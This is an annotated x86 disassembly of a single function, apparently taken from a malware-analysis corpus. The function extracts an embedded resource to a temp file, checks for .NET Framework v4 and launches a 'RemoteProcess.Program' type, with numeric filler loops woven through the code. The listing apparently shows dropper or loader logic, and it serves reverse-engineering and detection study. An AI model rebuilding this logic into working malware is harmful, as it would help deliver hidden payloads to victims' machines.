Function at 0x4019b3
Capabilities:
Extract resource via kernel32 functions
Get common file path
Read file via mapping

Disassembly:
push ebp
sub esp, 0x238
lea ebp, [esp - 4]
mov eax, dword [0x4140e8]
xor eax, ebp
mov dword [ebp + 0x238], eax
push 0x48
mov eax, 0x40efb6
call fcn.00402efc
movzx eax, word [ebp + 0x244]
sub esp, 0x1c
mov ecx, esp
xor ebx, ebx
mov dword [ebp - 0x1c], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], ebx
push 0x410354
mov dword [ebp - 4], ebx
mov esi, eax
mov byte [ecx], bl
call fcn.00401990
call fcn.004017b1
add esp, 0x1c
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push ebx
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, 0x415420
push edi
push ebx
push str.sadas
lea eax, [ebp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
fld1
fst qword [ebp]
mov eax, str.4jkJ
fld qword [0x410630]
push eax
fstp qword [ebp + 8]
mov esi, eax
fld qword [0x410628]
fst qword [ebp + 0x10]
fstp qword [ebp + 0x18]
fstp qword [ebp + 0x20]
fld qword [0x410620]
fstp qword [ebp + 0x28]
fld qword [0x410618]
fstp qword [ebp - 0x54]
fld qword [0x410610]
fstp qword [ebp - 0x4c]
fld qword [0x410608]
fstp qword [ebp - 0x44]
fld qword [0x410600]
fstp qword [ebp - 0x3c]
fld qword [0x4105f8]
fstp qword [ebp - 0x34]
fld qword [0x4105f0]
fstp qword [ebp - 0x2c]
call fcn.00403019
pop ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x18], eax
jge 0x401b4f
movsx eax, byte [esi]
sub eax, 0x34
je 0x401b24
dec eax
dec eax
je 0x401b02
dec eax
dec eax
jne 0x401b47
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.004012e0
jmp 0x401b44
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.0040119d
jmp 0x401b44
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.004010a2
add esp, 0x18
inc dword [ebp - 0x18]
jmp 0x401ac8
push ebx
push 0x80
push 2
push ebx
push ebx
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
fld qword [ebp + 0x28]
fsub qword [ebp - 0x2c]
sub esp, 0x18
mov dword [ebp - 0x20], eax
fstp qword [esp + 0x10]
fld qword [ebp + 0x20]
fsub qword [ebp - 0x34]
fstp qword [esp + 8]
fld qword [ebp + 0x18]
fsub qword [ebp - 0x3c]
fstp qword [esp]
push str.vel_err:____18.15lf__18.15lf__18.15lf__n
call fcn.00402f46
add esp, 0x1c
push ebx
push dword [ebp - 0x24]
push ebx
push 4
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
fld qword [ebp + 0x10]
fsub qword [ebp - 0x44]
sub esp, 0x18
mov esi, eax
fstp qword [esp + 0x10]
fld qword [ebp + 8]
fsub qword [ebp - 0x4c]
fstp qword [esp + 8]
fld qword [ebp]
fsub qword [ebp - 0x54]
fstp qword [esp]
push str.posn_err:___18.15lf__18.15lf__18.15lf__n
call fcn.00402f46
add esp, 0x1c
push ebx
push ebx
push ebx
push 2
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
fld qword [ebp + 0x28]
sub esp, 0x18
fstp qword [esp + 0x10]
mov dword [ebp - 0x18], eax
fld qword [ebp + 0x20]
fstp qword [esp + 8]
fld qword [ebp + 0x18]
fstp qword [esp]
push str.velocity:___18.15lf__18.15lf__18.15lf__n
call fcn.00402f46
push dword [ebp - 0x24]
push dword [ebp - 0x1c]
push dword [ebp - 0x18]
call fcn.00402200
fld qword [ebp + 0x10]
add esp, 0x10
fstp qword [esp + 0x10]
fld qword [ebp + 8]
fstp qword [esp + 8]
fld qword [ebp]
fstp qword [esp]
push str.position:___18.15lf__18.15lf__18.15lf__n
call fcn.00402f46
add esp, 0x1c
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
xor esi, esi
cmp esi, dword [ebp - 0x14]
jge 0x401cdb
mov eax, str.4jkJ
movsx eax, byte [eax]
sub eax, 0x34
je 0x401cb2
dec eax
dec eax
je 0x401c90
dec eax
dec eax
jne 0x401cd5
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.004012e0
jmp 0x401cd2
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.0040119d
jmp 0x401cd2
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.004010a2
add esp, 0x18
inc esi
jmp 0x401c50
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
push 0xf
pop esi
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v4
mov byte [ecx], bl
call fcn.00401990
call fcn.004017b1
add esp, 0x1c
push eax
call fcn.0040102d
pop ecx
mov dword [ebp - 0x18], ebx
test al, al
je 0x401e00
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x14]
jge 0x401da2
mov eax, str.4jkJ
movsx eax, byte [eax]
sub eax, 0x34
je 0x401d77
dec eax
dec eax
je 0x401d55
dec eax
dec eax
jne 0x401d9a
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.004012e0
jmp 0x401d97
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.0040119d
jmp 0x401d97
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.004010a2
add esp, 0x18
inc dword [ebp - 0x18]
jmp 0x401d12
push 0x410440
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push 0x410444
mov byte [ecx], bl
call fcn.00401990
call fcn.004017b1
add esp, 0x1c
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push 0x410454
mov byte [ecx], bl
call fcn.00401990
call fcn.004017b1
add esp, 0x1c
push eax
push edi
sub esp, 0x1c
mov dword [ebp - 0x1c], esp
mov ecx, esp
push str.v4.0.30319
jmp 0x401ee9
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x14]
jge 0x401e90
mov eax, str.4jkJ
movsx eax, byte [eax]
sub eax, 0x34
je 0x401e65
dec eax
dec eax
je 0x401e43
dec eax
dec eax
jne 0x401e88
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.004012e0
jmp 0x401e85
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.0040119d
jmp 0x401e85
fild dword [ebp - 0x14]
sub esp, 0x10
fld1
lea eax, [ebp + 0x18]
fdivrp st(1)
fstp qword [esp + 8]
fldz
fstp qword [esp]
push eax
lea eax, [ebp]
push eax
call fcn.004010a2
add esp, 0x18
inc dword [ebp - 0x18]
jmp 0x401e00
push 0x410478
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push 0x41047c
mov byte [ecx], bl
call fcn.00401990
call fcn.004017b1
add esp, 0x1c
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1c], esp
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push str.RemoteProcess.Program
mov byte [ecx], bl
call fcn.00401990
call fcn.004017b1
add esp, 0x1c
push eax
push edi
sub esp, 0x1c
mov dword [ebp - 0x1c], esp
mov ecx, esp
push 0x4104a4
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
mov byte [ecx], bl
call fcn.00401990
call fcn.004017b1
add esp, 0x1c
push eax
call fcn.004015f9
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x238]
xor ecx, ebp
call fcn.00402a0a
add ebp, 0x23c
leave
ret